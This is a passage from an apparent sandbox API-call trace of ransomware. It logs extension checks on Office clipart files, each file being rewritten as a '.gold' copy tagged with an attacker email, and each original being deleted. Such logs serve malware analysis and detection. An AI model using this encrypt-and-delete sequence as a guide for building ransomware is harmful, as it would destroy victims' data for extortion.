(lpString1=".jpg", lpString2=".WMF") returned -1 [0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0053.887] lstrlenW (lpString=".doc") returned 4 [0053.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.887] lstrlenW (lpString=".docx") returned 5 [0053.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.887] lstrlenW (lpString=".pdf") returned 4 [0053.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.887] lstrlenW (lpString=".xls") returned 4 [0053.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.887] lstrlenW (lpString=".xlsx") returned 5 [0053.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.887] lstrlenW (lpString=".ppt") returned 4 [0053.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0053.887] lstrlenW (lpString=".zip") returned 4 [0053.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.887] lstrlenW (lpString=".rar") returned 4 [0053.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.887] lstrlenW (lpString=".bz2") returned 4 [0053.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.887] lstrlenW (lpString=".7z") returned 3 [0053.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0053.887] lstrlenW (lpString=".dbf") returned 4 [0053.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0053.887] lstrlenW (lpString=".1cd") returned 4 [0053.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0053.887] lstrlenW (lpString=".jpg") returned 4 [0053.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.888] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.888] lstrlenW (lpString="BS00092_.WMF") returned 12 [0053.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.124] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=7974) returned 1 [0055.124] CloseHandle (hObject=0x230) returned 1 [0055.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20 [0055.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0055.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0055.147] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0055.147] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0055.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.157] GetLastError () returned 0x0 [0055.157] ReadFile (in: hFile=0x230, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x1f26, lpOverlapped=0x0) returned 1 [0055.228] WriteFile (in: hFile=0x234, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0055.229] ReadFile (in: hFile=0x230, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0055.229] WriteFile (in: hFile=0x234, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.229] SetEndOfFile (hFile=0x234) returned 1 [0055.229] CloseHandle (hObject=0x234) returned 1 [0055.229] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0055.229] SetEndOfFile (hFile=0x230) returned 1 [0055.230] CloseHandle (hObject=0x230) returned 1 [0055.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0055.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0055.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0055.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0055.631] lstrlenW (lpString=".doc") returned 4 [0055.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.631] lstrlenW (lpString=".docx") returned 5 [0055.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.632] lstrlenW (lpString=".pdf") returned 4 [0055.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.632] lstrlenW (lpString=".xls") returned 4 [0055.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.632] lstrlenW (lpString=".xlsx") returned 5 [0055.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.632] lstrlenW (lpString=".ppt") returned 4 [0055.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0055.632] lstrlenW (lpString=".zip") returned 4 [0055.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.632] lstrlenW (lpString=".rar") returned 4 [0055.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.632] lstrlenW (lpString=".bz2") returned 4 [0055.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.632] lstrlenW (lpString=".7z") returned 3 [0055.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0055.632] lstrlenW (lpString=".dbf") returned 4 [0055.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0055.632] lstrlenW (lpString=".1cd") returned 4 [0055.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0055.632] lstrlenW (lpString=".jpg") returned 4 [0055.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0055.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0055.632] lstrlenW (lpString=".doc") returned 4 [0055.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.632] lstrlenW (lpString=".docx") returned 5 [0055.632] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.632] lstrlenW (lpString=".pdf") returned 4 [0055.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.632] lstrlenW (lpString=".xls") returned 4 [0055.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.632] lstrlenW (lpString=".xlsx") returned 5 [0055.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.632] lstrlenW (lpString=".ppt") returned 4 [0055.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0055.632] lstrlenW (lpString=".zip") returned 4 [0055.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.632] lstrlenW (lpString=".rar") returned 4 [0055.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.632] lstrlenW (lpString=".bz2") returned 4 [0055.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.633] lstrlenW (lpString=".7z") returned 3 [0055.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0055.633] lstrlenW (lpString=".dbf") returned 4 [0055.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0055.633] lstrlenW (lpString=".1cd") returned 4 [0055.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0055.633] lstrlenW (lpString=".jpg") returned 4 [0055.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.633] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0055.633] lstrlenW (lpString="BS01634_.WMF") returned 12 [0055.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.581] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=3494) returned 1 [0056.581] CloseHandle (hObject=0x210) returned 1 [0056.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0056.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.582] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.582] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0056.582] GetLastError () returned 0x0 [0056.582] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xda6, lpOverlapped=0x0) returned 1 [0056.584] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xdb0, lpOverlapped=0x0) returned 1 [0056.584] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0056.584] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.584] SetEndOfFile (hFile=0x19c) returned 1 [0056.585] CloseHandle (hObject=0x19c) returned 1 [0056.585] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.585] SetEndOfFile (hFile=0x210) returned 1 [0056.585] CloseHandle (hObject=0x210) returned 1 [0056.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0056.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0056.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0056.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0056.586] lstrlenW (lpString=".doc") returned 4 [0056.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.586] lstrlenW (lpString=".docx") returned 5 [0056.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.586] lstrlenW (lpString=".pdf") returned 4 [0056.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.586] lstrlenW (lpString=".xls") returned 4 [0056.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.586] lstrlenW (lpString=".xlsx") returned 5 [0056.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.586] lstrlenW (lpString=".ppt") returned 4 [0056.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0056.586] lstrlenW (lpString=".zip") returned 4 [0056.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.586] lstrlenW (lpString=".rar") returned 4 [0056.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.586] lstrlenW (lpString=".bz2") returned 4 [0056.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.586] lstrlenW (lpString=".7z") returned 3 [0056.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0056.586] lstrlenW (lpString=".dbf") returned 4 [0056.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0056.586] lstrlenW (lpString=".1cd") returned 4 [0056.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0056.586] lstrlenW (lpString=".jpg") returned 4 [0056.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0056.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0056.586] lstrlenW (lpString=".doc") returned 4 [0056.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.586] lstrlenW (lpString=".docx") returned 5 [0056.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.586] lstrlenW (lpString=".pdf") returned 4 [0056.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.586] lstrlenW (lpString=".xls") returned 4 [0056.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.586] lstrlenW (lpString=".xlsx") returned 5 [0056.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.586] lstrlenW (lpString=".ppt") returned 4 [0056.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0056.587] lstrlenW (lpString=".zip") returned 4 [0056.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.587] lstrlenW (lpString=".rar") returned 4 [0056.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.587] lstrlenW (lpString=".bz2") returned 4 [0056.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.587] lstrlenW (lpString=".7z") returned 3 [0056.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0056.587] lstrlenW (lpString=".dbf") returned 4 [0056.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0056.587] lstrlenW (lpString=".1cd") returned 4 [0056.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0056.587] lstrlenW (lpString=".jpg") returned 4 [0056.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.587] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0056.587] lstrlenW (lpString="BS01636_.WMF") returned 12 [0056.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.587] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1874) returned 1 [0056.587] CloseHandle (hObject=0x210) returned 1 [0056.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0056.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0056.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.588] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.588] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0056.588] GetLastError () returned 0x0 [0056.588] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x752, lpOverlapped=0x0) returned 1 [0056.589] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x760, lpOverlapped=0x0) returned 1 [0056.590] ReadFile (in: hFile=0x210, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0056.590] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.590] SetEndOfFile (hFile=0x19c) returned 1 [0056.590] CloseHandle (hObject=0x19c) returned 1 [0056.590] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0056.590] SetEndOfFile (hFile=0x210) returned 1 [0056.591] CloseHandle (hObject=0x210) returned 1 [0056.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0056.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0056.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0056.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0056.591] lstrlenW (lpString=".doc") returned 4 [0056.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.591] lstrlenW (lpString=".docx") returned 5 [0056.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.591] lstrlenW (lpString=".pdf") returned 4 [0056.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.591] lstrlenW (lpString=".xls") returned 4 [0056.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.591] lstrlenW (lpString=".xlsx") returned 5 [0056.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.591] lstrlenW (lpString=".ppt") returned 4 [0056.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0056.592] lstrlenW (lpString=".zip") returned 4 [0056.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.592] lstrlenW (lpString=".rar") returned 4 [0056.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.592] lstrlenW (lpString=".bz2") returned 4 [0056.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.592] lstrlenW (lpString=".7z") returned 3 [0056.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0056.592] lstrlenW (lpString=".dbf") returned 4 [0056.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0056.592] lstrlenW (lpString=".1cd") returned 4 [0056.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0056.592] lstrlenW (lpString=".jpg") returned 4 [0056.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0056.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0056.592] lstrlenW (lpString=".doc") returned 4 [0056.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.592] lstrlenW (lpString=".docx") returned 5 [0056.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.592] lstrlenW (lpString=".pdf") returned 4 [0056.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.592] lstrlenW (lpString=".xls") returned 4 [0056.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.592] lstrlenW (lpString=".xlsx") returned 5 [0056.592] lstrcmpiW (lpString1=".xlsx", 